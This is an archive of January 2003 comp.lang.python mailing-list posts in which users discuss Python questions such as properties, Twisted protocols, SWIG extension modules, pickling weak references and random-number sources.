From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 23:26:13 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <eppstein-FD9776.11512917012003@news.service.uci.edu> <yyyof6fseh0.fsf@adams.patriot.net> <7xadhz1h4w.fsf@ruckus.brouhaha.com> <yyy3cnrrrlw.fsf@adams.patriot.net>
Message-ID: <7xiswm6hre.fsf@ruckus.brouhaha.com>

Nick Vargish <nav at adams.patriot.net> writes:
> > How about something like (untested):
> > 
> >     def convert(nbytes):
> >        suffixes = ['K', 'M', 'G', 'T', 'P', 'E']
> >        s = ''
> >        while nbytes >= 1024:
> >           nbytes /= 1024.0
> >           s = suffixes.pop(0)
> > 
> >        return '%.3f%c'% (nbytes, s)
> 
> It's supposed to look very spreadsheet-like, so I can't compress like
> that.

OK, here's another way, that I don't remember seeing in the thread
yet.  Maybe it's an improvement in the Pythonicness department over
your original scheme:

    def convert(nbytes):
      import re
      if nbytes == 0: return '0'
      if nbytes < 0: raise ValueError
      t = []
      while nbytes:
         nbytes, p = divmod(nbytes, 1000)
         t.insert(0, p)
      answer = ','.join([('%03d' % p) for p in t]) 
      return re.sub('^0+', '', answer)

Re setting the locale, I think code for that has been posted here
before.  Yeah, here's some:

   http://tinyurl.com/4l7z



From danb_83 at yahoo.com  Fri Jan 17 11:36:23 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 17 Jan 2003 08:36:23 -0800
Subject: PEP 8: on member variables vs. attributes
References: <f57664b9.0301170041.46cc103e@posting.google.com>
Message-ID: <ad052e5c.0301170836.7dc770c4@posting.google.com>

jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301170041.46cc103e at posting.google.com>...
> From PEP 8:
> 
> Designing for inheritance
> 
>       ...  In general, never make data
>       variables public unless you're implementing essentially a
>       record.  It's almost always preferrable to give a functional
>       interface to your class instead (and some Python 2.2
>       developments will make this much nicer)...
> 
> But don't properties and data variables (as attributes) look 
> the same anyway?  So what's the diff between them, functionally
> speaking?

>>> class Foo(object):
...    def __init__(self):
...       self.__bar = ""
...    def __getBar(self):
...       return self.__bar
...    def __setBar(self, value):
...       if isinstance(value, str):
...          self.__bar = value
...       else:
...          raise TypeError("bar must be a string")
...    bar = property(__getBar, __setBar)
...
>>> baz = Foo()
>>> baz.bar = 4
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 10, in __setBar
TypeError: bar must be a string

If bar was just a data variable, you'd have no control over what got assigned to it.



From nospam at free.fr  Sun Jan 26 19:31:29 2003
From: nospam at free.fr (Fael)
Date: Mon, 27 Jan 2003 01:31:29 +0100
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <3e347eec$0$240$626a54ce@news.free.fr>

Perhaps a stupid answer !
Even if it's for unix purpose I code on a PC and use Ultraedit. I test on PC
easily using the standard DOS compiler as a tool in the editor. When I
approche the solution and when the Unix and Pc worlds make the difference I
use the FTP command to directly edit my unix sys based files on PC. I've
been a unix vi addicts ten years ago then go to PC platforms and search for
vi port still addict. But now most of my work is done on PC (here unix fans
put shame on me!) and I'm an UE addict, this tools is perfect !

Rgds
Fa?l


"Norm" <norm at norm.com> a ?crit dans le message de news:
3e32a1a6_4 at corp.newsgroups.com...
> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
>
> I'm learning / practicing with IDLE Python GUI.
>
> Q.  What does the real Python community use for creating Python programs?
>
> Thanks
> norm
>
>
>
>
>
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----





From marian.foerster at informatik.tu-chemnitz.de  Tue Jan 28 21:16:08 2003
From: marian.foerster at informatik.tu-chemnitz.de (Marian =?ISO-8859-1?Q?F=F6rster?=)
Date: Wed, 29 Jan 2003 03:16:08 +0100
Subject: Fileupload over CGI simulate
Message-ID: <3E373968.9020804@informatik.tu-chemnitz.de>

Hallo!

I want to do a fileupload to a cgi over python, not over the browser.

Are there an example??




From Vincent.Raaijmakers at ge.com  Fri Jan 24 14:40:25 2003
From: Vincent.Raaijmakers at ge.com (Raaijmakers, Vincent (IndSys, GE Interlogix))
Date: Fri, 24 Jan 2003 13:40:25 -0600
Subject: Something like asynchronous XML-RPC possible?
Message-ID: <55939F05720D954E9602518B77F6127F9BEB0C@FTWMLVEM01.e2k.ad.ge.com>

Take a look at:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52226

Vincent

-----Original Message-----
From: "Martin v. L?wis" [mailto:martin at v.loewis.de]
Sent: Friday, January 24, 2003 10:16 AM
To: python-list at python.org
Subject: Re: Something like asynchronous XML-RPC possible?


Will Stuyvesant wrote:
> Well I just do not understand how to use the UDPRequestHandler (or
> something like that) and HTTPServer(protocol = "UDP") and registering
> an instance object with it so its "methods" act like event handlers
> (caller not blocking and no return value send back to caller).  

I see. I believe you cannot readily use the HTTPServer class, since it 
assumes connection-oriented communication - it needs to send a reply, 
and it assumes that it can send the reply back on the same file 
descriptor/socket handle from which it got the request, just by 
performing an un-addressed send on it (I believe it actually performs 
makefile, then .write).

You should also explain what "HTTP over UDP" means to you: how is a HTTP 
request transmitted via UDP?

For TCP, it is often the case that a single HTTP request is transmitted 
in multiple IP packets. For UDP, this would be bad, since you cannot 
rely that the packets are received in the same order in which they are sent.

So you might have to sent the entire HTTP request in a single packet. 
This, of course, limits the request size to a single packet, and may 
fail silently if the packet size exceeds the maximum segment size of the 
connection (which you cannot determine, since you use connection-less 
communication).

In any case, I recommend that you just use the various Request objects, 
and simulate streams by putting the data into StringIO classes. Then, 
you assemble and disassemble entire requests in such a StringIO class, 
and transmit them in single send/recvfrom calls.

> I did
> not find much examples in the docs, and the examples I found were all
> about TCP.  

Not surprisingly so, since UDP is so much more painful for real world 
applications that nobody uses it unless the other end already mandates 
it. You must have very large resources, in terms of man-power, if you 
want to use UDP.

 > There is one example called "Heartbeat" that does UDP but
> I would have to rewrite the "requesthandler" and to provide a
> registering mechanism like SimpleXMLRPCServer has.  Uh oh.  This just
> gets over my head.  Am I making sense here? :)

Not really. I still recommend you start with the client, and leave the 
server for later.

For the server side, I recommend that you ignore all these processing 
layers, and try to use the plain socket API first - to get a working 
peer. For the moment, something that merely prints all packets it 
receives might be sufficient to demonstrate that the client works. If 
you have that working, and you still don't see how to proceed, please 
ask again.

Regards,
Martin

-- 
http://mail.python.org/mailman/listinfo/python-list




From gerhard.haering at gmx.de  Sat Jan 11 18:08:15 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Sun, 12 Jan 2003 00:08:15 +0100
Subject: Changing truth
In-Reply-To: <3E20A117.9020609@tismer.de>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de>
Message-ID: <20030111230815.GA1094@lilith.ghaering.test>

* Christian Tismer <tismer at tismer.de> [2003-01-11 23:56 +0100]:
> Don't forget that I've proven that I can change truth, [...]

>>> True, False = False, True
>>> True, False
(0, 1)

Easy enough ;-)

SCNR,

-- Gerhard




From exarkun at intarweb.us  Thu Jan 16 12:13:03 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 16 Jan 2003 12:13:03 -0500
Subject: Socket communications
In-Reply-To: <b06eo8$m0u70$1@ID-145579.news.dfncis.de>
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de>
Message-ID: <20030116171303.GB16866@meson.dyndns.org>

On Thu, Jan 16, 2003 at 03:13:13PM +0100, Stefano Covino wrote:
> Thank you a lot for you ready answer.
> 
> Basically, what I want to implement is a very simple protocol. I need to 
> send fixed-length messages, and getting and answer again of fixed-length. 
> The communication should be effective on both side.
> 
> I do not know which protocol I should apply. This is the first time I try 
> study this problem and I am still lacking of even the vocabulary.
> In principle a telnet (or ssh) like protocol should work, but I need an as 
> quick as possible connection. The messages are coming from previously 
> defines IP addresses, and I do not need to recognize the user.

  Twisted makes implementing this kind of protocol trivial.

(Untested code)

from twisted.internet import protocol

class FixedLengthProtocol(protocol.Protocol):
    # Length of messages to receive
    length = None
    
    # Buffer accumulating the current message
    buffer = None

    def __init__(self, length = 512):
        self.length = length
        self.buffer = []
        self.count = 0

    def dataReceived(self, data):
        L = len(data)
        if self.count + L > self.length:
            self.messageReceived(
                ''.join(self.buffer + [data[:self.length - self.count]]
            )
            self.buffer = [data[self.length - self.count:]]
            self.count = len(self.buffer[0])
        else:
            self.buffer.append(data)
            self.count += L

    def connectionMade(self):
        """Override me"""

    def messageReceived(self, message):
        """Override me"""

    def sendMessage(self, message):
        assert len(message) == self.length
        self.transport.write(message)

from twisted.internet import reactor

f = protocol.ServerFactory()         # Server
f.protocol = FixedLengthProtocol     # Server

# f = protocol.ClientFactory()       # Client
# f.protocol = FixedLengthProtocol   # Client

reactor.listenTCP(port, f)           # Server
# reactor.connectTCP(host, port, f)  # Client

reactor.run()


  Jp

-- 
There are 10 kinds of people: those who understand binary and those who do
not.
--
 12:00am up 31 days, 9:48, 2 users, load average: 0.07, 0.09, 0.04
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/b71642d3/attachment.sig>

From risolar at libero.it  Thu Jan  2 16:40:23 2003
From: risolar at libero.it (Stefano)
Date: Thu, 02 Jan 2003 21:40:23 GMT
Subject: wxPython
Message-ID: <bl2R9.73683$TC5.2455364@twister1.libero.it>

Hi all,
i've a question for you (i'm just a newbie in Python programming):
At this time wxPython implements wxWindows database classes (wxDb and the
others...).
Have you got an example for me?
Thanks all.





From peter at engcorp.com  Tue Jan 21 18:06:24 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 18:06:24 -0500
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <3E2DD270.8CB2FA4A@engcorp.com>

Greg Brunet wrote:
> 
> Just as a point of information, I was reading this article about Java
> and the recent ruling that MS must include it in Windows & .NET
> (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> Python as a "B" status language with declining popularity.
> 
> There's only a general discussion of their methodology, and I'm not
> arguing that one should choose a language solely because of it's
> popularity or rate of increase/decrease (and what's up with RPG having
> the second fastest growth rate!?!).

My guess is that "RPG" is rated the second fastest growing "language"
because that acronym stands for "Role Playing Game" .... 

Notice that a search for "RPG programming" has a gaming link as
the first hit (although to be fair the next four or five are all
about the real RPG language.

Besides, if they search for "Python programming language" at this
point, they will probably get no hits at all.  After all, didn't we
all remove the words "programming language" from all our Python 
pages as a result of the recent revelation that the language is
not Turing-Complete (since it can't handle infinite memory)....
<wink>.

-Peter



From bokr at oz.net  Tue Jan 14 15:28:26 2003
From: bokr at oz.net (Bengt Richter)
Date: 14 Jan 2003 20:28:26 GMT
Subject: c++ swig python
References: <3E22CDFF.4010007@uni-koblenz.de>
Message-ID: <b01rta$v4i$0@216.39.172.122>

On Mon, 13 Jan 2003 15:32:31 +0100, Oleg Seifert <misterxx at uni-koblenz.de> wrote:

>Hallo,
>
>ich habe eine einfache Klasse in c++ geschrieben.
>Dann habe ich mit Hilfe von SWIG aus dieser Klasse einen Python-Modul 
>(dll-Bibliothek) erstellt. [testfiles.dll + testfiles.lib]
>
>Ich habe diese Bibliothek mir einer kleiner c++-Anwendung testen k?nnen.
>Aber wenn ich diesen Modul in Python importiere ("import testfiles") 
>kriege ich die Fehlermeldung:
>
> >>> import testfiles
>Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>ImportError: dynamic module does not define init function (inittestfiles)
> >>>
>
>Woran k?nnte es liegen ? Was mache ich falsch ?
>
>Danke im Voraus.

I think the message probably means what it says ;-) I.e. either your
module dosn't define the initfunction, or the linker was not told to
export the name (e.g., a switch something like -link export:inittestfiles
or the equivalent directive in the source).

You will find info about init function here:

    http://www.python.org/doc/current/ext/methodTable.html

and a more general index here:

    http://www.python.org/doc/current/ext/ext.html


If you are running windows/msvc++6, you might find a command file (with adjustments
for your disk layout) like below useful (remove the '@REM ' if you don't run with
that already in your console window environment)

====< mkpydll.cmd >==============
@REM @d:\vc98\bin\vcvars32.bat
@cl -LD -nologo -Id:\python22\include %1.c -link -LIBPATH:D:\python22\libs -export:init%1
=================================

Then

    mkpydll testfiles

would recompile and link the single file testfiles.c, exporting inittestfiles

HTH,

Regards,
Bengt Richter



From mwm at mired.org  Fri Jan 17 13:01:23 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 17 Jan 2003 18:01:23 GMT
Subject: Trouble with inheritance and self
References: <67446a0a.0301170504.7e897e38@posting.google.com>
Message-ID: <x7adhz4pvk.fsf@guru.mired.org>

boethius at techie.com (Boethius) writes:

> ---------code-------------------------------------------------------
> class A(object):
> 
>     def _header(self):
>         return "A's header"
> 
>     def render(self, header = _header):
>         return header(self) + 'Foo Bar Baz'
> 
> class B(A):
> 
>     def _header(self):
>         return "B's header"
> 
>     def render(self):
>         return A.render(self, header=self._header)

Wouldn't this be a lot simpler if you just used straight inheritance?

class A(object):
    _header = "A's header"
    def render(self):
        return self._header + 'Foo Bar Baz'

class B(A):
    _header = "B's header"

I know this is probably just a "stripped to the minimum example", so
using inheritance may not work in your real problem. But it ought to
be worth a look.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From nagylzs at freemail.hu  Fri Jan 10 08:57:26 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Fri, 10 Jan 2003 14:57:26 +0100
Subject: pickle and weakref
Message-ID: <3E1ED146.6000000@freemail.hu>

I wonder if there is a standard way to pickle/unpickle weak references.
My idea is the following:

import pickle
import weakref

class A:
    pass

a = A()
b = A()
c = A()

a.b = b
a.ref_b = weakref.ref(b)
a.ref_c = weakref.ref(c)

data = pickle.dumps(a)
a = pickle.loads(data)

print a             # <__main__.A instance at 0X???? >
print a.b          # <__main__.A instance at 0X????>
print a.c          # None
print a.ref_b    # <weakref at 0x???? to 'instance' at 0x????>, 
references to pickled instances should be unpickled gracefully
print a.ref_c    # <weakref at ????; dead>, references to other (not 
pickled) instances should be unpickled as a dead reference

I've already written a wrapper class to do this but it is not a general 
solution. My wrapper uses the 'Ownership' concept and
can pickle weak references to instances of a given class only.

This extension should not affect older codes because they don't pickle 
any weak references.
What do you think? Is this a good idea?

  Laci 1.0






From LogiplexSoftware at earthlink.net  Thu Jan 16 16:30:48 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 16 Jan 2003 13:30:48 -0800
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E25D987.6020307@rogers.com>
References: <LNBBLJKPBEHFEDALKOLCMEKEDIAB.tim.one@comcast.net>
	 <1042650999.27819.51.camel@software1.logiplex.internal>
	 <3E25D987.6020307@rogers.com>
Message-ID: <1042752648.27815.182.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 13:58, Mike C. Fletcher wrote:
> Gee, one little misunderstanding with the PSU ops and suddenly Cliff's 
> sicking the whole PSF legal establishment on me :) .

It's in everyone's best interest that you be sued.  It'll be far easier
if you can just accept that without a lot of useless complaining.

> Honestly, Cliff, I didn't _know_ they'd find those Perl scripts!  I was 
> just worried about you skulking about with SQL and thought they'd send a 
> counsellor or something, I didn't know they'd raid the place!

They found 10 pounds of C code hidden under your mattress.  Turns out
later it was just the "Hello, world" example for MFC, so no charges will
be filed *this time*.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From max at alcyone.com  Fri Jan 31 22:26:10 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 19:26:10 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <4k1j3v8clvrsg5d2h2nf5u3rqsp4aum3c5@4ax.com> <3E39FECB.66AB4434@alcyone.com> <XOq_9.48875$Hl6.6191395@news010.worldonline.dk>
Message-ID: <3E3B3E52.2C4AF599@alcyone.com>

Max M wrote:

> You will need to check if the argument is a list or a string in all
> the
> code wich calls one of the function.
> 
> if type(options) == type(''):
>      getWhereByOne(options)
> else:
>      getWhere(options)
> 
> This is no better than the first option.

Why do you _have_ to check?  You're doing precisely the thing that
you're not supposed to do in dynamic languages; you're limiting the
types that can be passed to them unnecessarily.

Having two interfaces where one takes "a thing" and the other takes "a
sequence of things" is totally reasonable, since one will be treated as
things, and the other will be treated as a sequence of things.

In your specific case those things are strings, but that analysis
doesn't generalize fully.

> So the sane approach is to do the check inside the function:
> 
>      def getWhere(options):
>          if type(options) == type(''): # I *know* this sucks!
>              options = [options]
>          return 'SELECT * FROM table WHERE %s' % ' or '.join(
>                 ['option=%s' for opt in options])
> 
> This will lead to far the most simple use of the function.

That isn't totally unreasonable, provided you're sure that you always
want them to be strings, or something else (which will be interpreted as
a sequence of strings).  (But even then, what about Unicode strings? 
They'd fail the test.)

Again, this is the only sort of polymporphic interface that makes any
sort of sense -- where you know that you either want a simple,
fundamental type (like a numeric or a string), or something else.  In
this case, it's either a string, or a sequence of things (which are
presumably strings).

Note still that this case is limiting; your sequence case works properly
on objects that implement a __str__ method that does something
meaningful, but you can't pass a single one of those objects in, as it
will be treated as a sequence, with unpredictable results.

This, as I mentioned earlier, isn't totally unreasonable, since you're
checking against a fundamental type first, and then generalizing if that
wasn't it; the original poster was talking about testing to see if it's
a _sequence_ first (by testing whether it's a list or tuple) and then
behaving differently otherwise.  This is bad, because there are many
more types of sequences than just lists and tuples.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 11:13:22 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 08:13:22 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org> <mailman.1043853713.17341.python-list@python.org>
Message-ID: <7xwukoszml.fsf@ruckus.brouhaha.com>

Nagy L?szl? <nagylzs at freemail.hu> writes:
> >Sorry to be off topic, but why especially?  At least on Linux,
> >/dev/random is determined by various hardware factors chosen for the
> >difficulty to guess them (i.e. the float between keyboard controller
> >clock and the CPU clock generator) and then passed through a one way
> > hash function.

> Isn't it used for initializing only? I thought that initial PRNG
> state is choosen randomly by those factors but after that only the
> PRNG algorithm is used. I'm not familiar with the Linux source code
> but I wonder how can they assure the correct distributions
> otherwise?  (You cannot examine those true random factors
> theoretically.)

/dev/random is supposed to return real physical entropy.  /dev/urandom
feeds the entropy through a cryptographic RNG.  /dev/urandom is the
right interface to use for session tokens, because /dev/random stalls
if there's not enough entropy in the system.  You can get a few bits
per second from it at most.



From skip at pobox.com  Tue Jan 28 08:08:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 28 Jan 2003 07:08:22 -0600
Subject: PEP 304 - Controlling generation of bytecode files 
In-Reply-To: <200301280945.h0S9jgjL020155@ratthing-b246.strakt.com>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
        <200301280945.h0S9jgjL020155@ratthing-b246.strakt.com>
Message-ID: <15926.32966.788646.817533@montanaro.dyndns.org>

    Laura> I can't.  Did you mean http://www.python.org/peps/pep-0304.html
    Laura> (no /dev) or is something else going on?

Yes, my mistake.  You get to it on the website by clicking "Developers", the
"PEPs".  I guess my fingers silently added /dev while my brain wasn't
looking.

Skip





From uwe.schmitt at procoders.net  Thu Jan  2 12:19:55 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 2 Jan 2003 17:19:55 GMT
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl> <av1dcn$v3fk5$2@hades.rz.uni-sb.de> <Pine.OSF.4.21.0301021542010.25296-100000@jasio.slcj.uw.edu.pl>
Message-ID: <av1sbr$t3f04$1@hades.rz.uni-sb.de>

Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> On 2 Jan 2003, Uwe Schmitt wrote:

>> Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
>> > Hi,
>> >   I have a question: how to print (sic!) in python (I use wxPy). The point
>> > is, that is should be os-independent :) I can generate the data to print
>> > in XML, HTML, PS... how to print it under windows? ;)
>> 
>> And I forgot another method: make a copy of a file, e.g. a ps-file,
>> to the file "prn:". This will work if your printer is connected
>> to your computer immediatly.

> But, it works only with Windows, AFAIR... Aren't there any os-independent
> solution? 

Shurely it works only with windows, but you asked for it...

Greetings, Uwe.

-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From bokr at oz.net  Tue Jan 28 04:51:40 2003
From: bokr at oz.net (Bengt Richter)
Date: 28 Jan 2003 09:51:40 GMT
Subject: Algorithm help
References: <mailman.1043716969.7028.python-list@python.org>
Message-ID: <b15jrc$qcu$0@216.39.172.122>

On Mon, 27 Jan 2003 18:22:17 -0700, VanL <vlindberg at verio.net> wrote:

>Hello,
>
>I am trying to create an internal representation of a maze in python.   
>My first thought was to have a dict, with the keys being ordered pairs, 
>and the values being 1 (wall) or 0 (no wall).  That way I could pretty 
>efficently construct a graph that I could search for the solution.
>
>However, the map description file is in a little different format than I 
>expected -- I had thought that they were going to give us a file with a 
>bunch of 1s and 0s.  However, what I actually will get is a list of 
>lists of ordered pairs:
>
>POINTS=[200,20 200,200 210,200 210,20]
>POINTS=[320,20 320,200 330,200 330,20]
>
That doesn't say enough. Ie.e, is that a path for a U-shaped wall or is it
an enclosed island inside a maze area? How is the outside perimiter specified.
Is the problem to get from one coordinate to another by shortest path? Any path?
Measuraing how?

>I am inclined to still go with the same representation, but I am trying 
>to find a way to efficiently solve the above as an inequality, to get 
>every integer point within the wall.  Does anyone know a good algorithm 
>for doing so?
>
>
>Alternatively, can anyone suggest a better internal representation?
>
One that includes more info ;-)

Regards,
Bengt Richter



From fpm at u.washington.edu  Tue Jan  7 15:09:26 2003
From: fpm at u.washington.edu (Frank Miles)
Date: 7 Jan 2003 20:09:26 GMT
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa> <kp3co497bt.fsf@wintermute.casa> <87isx0x1h6.fsf@gvdnet.dk> <kpznqc7ply.fsf@wintermute.casa>
Message-ID: <avfc5m$1k2k$1@nntp6.u.washington.edu>

In article <kpznqc7ply.fsf at wintermute.casa>,
Jorge Godoy  <godoy at metalab.unc.edu> wrote:
>Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> writes:
>
>> If they're all compliant, the difference between them should be merely
>> a question of convenience and performance. I am not in a position to
>> make recommendations.
>
>Thanks. I'll give some a try... :-) I received other messages with 'I
>use XXX' as well and I think that it's like you say: a matter of
>convenience and performance. 

At one time there were more differences, particularly in properties like
thread safety.  Don't know if that's still true.

	-frank
-- 



From hwlgw at hotmail.com  Wed Jan 15 13:21:19 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 10:21:19 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <7xvg0qkcii.fsf@ruckus.brouhaha.com>
Message-ID: <cb035744.0301151021.32dc9caf@posting.google.com>

[Paul Rubin]
> Unless it's a game where you expect serious cheating to be going on,
> or if you have game elements that are traded for real-world money
> (like people sell Everquest characters on ebay), you probably don't
> need to bother with SSL.

Hmm, actually I think I would have fun catching cheaters.  And there
is no money involved.  Yet.  Heh.

> If you're running your application as a cgi, that will slow it down
> some under heavy loads, but that may not be a problem for you.

There is a game click about every 20 minutes, so speed should not be
an issue.  But I do want superfast loading pages, that is what CSS is
good for (I heard:)



From tim.one at comcast.net  Sat Jan 25 21:14:59 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 25 Jan 2003 21:14:59 -0500
Subject: memory leak with large list??
In-Reply-To: <b0va52$hac$0@216.39.172.122>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEGJDKAB.tim.one@comcast.net>

[Bengt Richter]
> Why do you need to duplicate the type pointer for all those?

That's the way it is, and countless lines of code-- both in the core and in
extension modules --rely on being able to get at the type object from a
PyObject* p via p->ob_type.

> I.e., if you allocated space in decent-size arrays of object
> representations without type pointer, and just reserved a header
> slot in front of the array, ... [etc] ...

This can't be changed now.

> ...
> I wonder what the performance hit would be, given processor
> speeds and caching etc.
> Or has this been tried and rejected for Python?

Tried no, rejected yes <wink>.





From peter at engcorp.com  Thu Jan 16 08:56:34 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 08:56:34 -0500
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de> <3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122>
Message-ID: <3E26BA12.A8E9260B@engcorp.com>

Bengt Richter wrote:
> 
> On Wed, 15 Jan 2003 22:28:18 -0500, Peter Hansen <peter at engcorp.com> wrote:
> >In any case, the OP fairly clearly indicated that he understood
> >what the term "binary search" usually meant, and that he did not
> >in fact mean that meaning...
> >
> (Continuing with nits ;-)
> I'm sure the OP understood the distinctions, and in later posts
> explicitly indicated what he meant, but my first impression was from
> """
> Hi,
> 
> I'm looking for a function that allows me to do a binary search in a file.
> Can anyone point me in the good direction?
> 
> Thanks in advacne,
> 
> Rudy
> """
> I.e., it said "a binary search in a file" not "a search in a binary file".

Please don't try to change history.  You're conveniently leaving out
part of the query.  An accurate quotation is this:

"""I'm looking for a function that allows me to do a binary search in a file.
   By binary search I mean searching for a sequence of bytes and not the binary
   search as in the Python Cookbook
   (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81188)

   Can anyone point me in the good direction?
"""

Now what part of the sentence starting with "By binary search I mean..."
is unclear to you?  He clearly (to me) is saying that although he's used
the term "binary search", he understands that it has a more standard
definition but that he *does not mean that definition* (and, we should
assume, he just couldn't think of another term for what he wants).

-Peter



From timr at probo.com  Mon Jan  6 22:43:51 2003
From: timr at probo.com (Tim Roberts)
Date: Mon, 06 Jan 2003 19:43:51 -0800
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com> <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>
Message-ID: <g5jk1vcvc30ibfskrkn4cfuic3hgg8chg2@4ax.com>

Yar3k <programisci_listy at muratorDOTcom.pl> wrote:

>u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng) wrote:
>
>>Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
>>to compare Python with PHP. :)
>
>Cheetah templates are even better. Check this
>http://www.cheetahtemplate.org/Py10.html

Can you summarize why you think so?  I'm neither disagreeing nor agreeing;
I'm just looking for the reasons why one might appeal to you why the other
does not.

I'm familiar with WebKit's PSP; I've glanced at Cheetah, but nothing
deeper.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From martin at v.loewis.de  Thu Jan  2 16:19:48 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 02 Jan 2003 22:19:48 +0100
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <ausj3l$ipd$0@216.39.172.122> <ausjsg$c6f$07$1@news.t-online.com> <aust1q$9on$0@216.39.172.122> <ausul3$qmc$07$1@news.t-online.com> <aut8lp$61d$0@216.39.172.122> <m3znql2wwk.fsf@mira.informatik.hu-berlin.de> <put81v8satrhqa3cno3d9kh5fhvfuei6gh@4ax.com>
Message-ID: <m34r8r5jwr.fsf@mira.informatik.hu-berlin.de>

